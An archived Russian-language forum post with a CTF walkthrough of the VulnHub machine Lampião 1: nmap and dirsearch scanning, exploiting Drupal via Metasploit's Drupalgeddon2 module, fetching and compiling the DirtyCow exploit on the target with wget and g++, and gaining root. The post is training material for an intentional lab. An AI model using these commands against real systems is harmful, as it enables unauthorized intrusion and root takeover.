PDA

Просмотр полной версии : Lampião 1: CTF Прохождение


Debug
17.12.2018, 08:58
Всем привет! Сегодня я хочу рассказать как решать задачу CTF размещенную на vulnhub.com под названием Lampião 1.
В описание автор заявляет, что прохождение не требует как-либо дополнительных знаний об эксплуатации машины.

Уровень легкий

Скачать образ вы можете отсюда: Index of /lampiao/
В данном случае я не буду использовать Kali Linux, а буду использоватьPentestBox под Windows.
Для тех кто не в танке PentestBox - это набор сборка утилит для пентеста. В этой сборке собраны все необходимые инструменты для сбора и анализа приложений, для аудита, реверса, форензике и много другое.

Прохождение
После того как мы загрузили и настроили машину, наша цель - получить IP. Сделать это можно несколькими способами, для этих целей подходит:


arp-scan -l, netdiscover


Я же поступил проще и зашел в админку роутера и посмотрел IP в аренде адреса DHCP

https://forum.antichat.xyz/attachments/29008695/1545020635960.png



Обратите внимание: IP-адрес цели и компьютера-злоумышленника может отличаться в зависимости от конфигурации вашей сети.


Хорошо, зная IP мы можем просканировать нашу машины на наличие открытых портов. Будем использовать nmap


Команда: nmap -sV -p- 192.168.1.138.


Вот что мы получим:

https://forum.antichat.xyz/attachments/29008695/img_101abf6cf2.png

Теперь рассмотрим что значит
-p
- сканирование всех портов.

-sV

- определение служб. Мы имеем 3 открытых порта(80, 22, 1898).
Начнем с порта 80. Перейдя по адресу

http://192.168.1.138:80

мы увидим.

https://forum.antichat.xyz/attachments/29008695/img_af66f9fbc5.png

После недолгого анализа, я не нашел ничего интересного на этой странице. Также был просмотрен исходный код страницы, но там тоже не оказалось ничего полезного для нас. Мы можем также пробрутить директории. Для этого будем использовать dirsearch


Команда: python3 dirsearch.py -u http://192.168.1.138:80 -e html,php,txt,bak -x 403


где -u адрес -e расширения -x игнорирование страниц с кодом 403. К сожалению поиск не дал ничего. Хорошо, теперь наша задача посмотреть следующий порт - 1898.

Переходим по адресу
http://192.168.1.138:1898


https://forum.antichat.xyz/attachments/29008695/img_fd5a3118cc.png

Ага, перед нами явно движок Drupal. Проверить это можно если перейти по адресу

http://192.168.1.138:1898/CHANGELOG.txt


https://forum.antichat.xyz/attachments/29008695/img_cd140ab23e.png

Теперь мы можем используя какой-нибудь сканер уязвимости проверить сайт на уязвимости. Лично я делать этого не стал, ведь после того как увидел, что версия Drupal 7.54 недолго думая я вспомнил про уязвимость DRUPALGEDDON2(CVE-2018-7600) Работает на 7.х и 8.х и вплоть до 8.5.0. Также очень приятно для нас, что нам не надо искать exploit, все уже есть в metasploitИспользуя модуль drupal_drupalgeddon2 мы должны получить сессию.


Команда: use exploit/unix/webapp/drupal_drupalgeddon2

Посмотрим какие данные нам нужно заполнить

show options


Установим значение RHOST, RPORT

Код:



set rhost 192.168.1.138
set rport 1898


https://forum.antichat.xyz/attachments/29008695/1545021930450.png

Теперь получим командную оболочку - shell. Дальше получим интерактивную оболочку Python, чтобы мы могли запускать
команды в интерактивном режиме.


python -c 'import pty; pty.spawn (“/ bin / bash”)'


Получим информацию о версии ядра

uname -a


https://forum.antichat.xyz/attachments/29008695/1545022061061.png

Для тех, кто не совсем понял мы имеем дело со старой версией ядра. В таких задачах очень часто используют exploit DirtyCow(Грязная корова)

Найти exploit не трудно. С помощью команды wget скачаем exploit.

wget https://www.exploit-db.com/download/40847.cpp (используется для загрузки exploit на целевой машине)


https://forum.antichat.xyz/attachments/29008695/1545022249362.png

Теперь наша задача скомпилировать exploit. На самой странице https://www.exploit-db.com/download/40847.cpp можно найти код


g ++ -Wall -pedantic -O2 -std = c ++ 11 -pthread -o dcow 40847.cpp -lutil


Как объяснено выше и видно на скриншоте, мы загрузили exploit в каталог tmp целевой машины и скомпилировали его. Итак, теперь наш exploitготов к выполнению:

./dcow


После запуска exploit успешно выполняется на целевой машине и сообщает нам, что пароль root - «dirtyCowFun».
Затем мы использовали команду su , ввели пароль и получили root-доступ на целевой машине.

Поскольку задача состояла в том, чтобы получить доступ с правами root и прочитать файл flag.txt, мы почти готовы его выполнить. Давайте перейдем в корневой каталог и прочитаем файл flag.txt

https://forum.antichat.xyz/attachments/29008695/1545022613574.png

На этом все)

Сергей Попов
17.12.2018, 13:14
Не используйте в статьях эти 2 цвета:

Этот мы используем для обозначения внешних ссылок

А этот для внутренних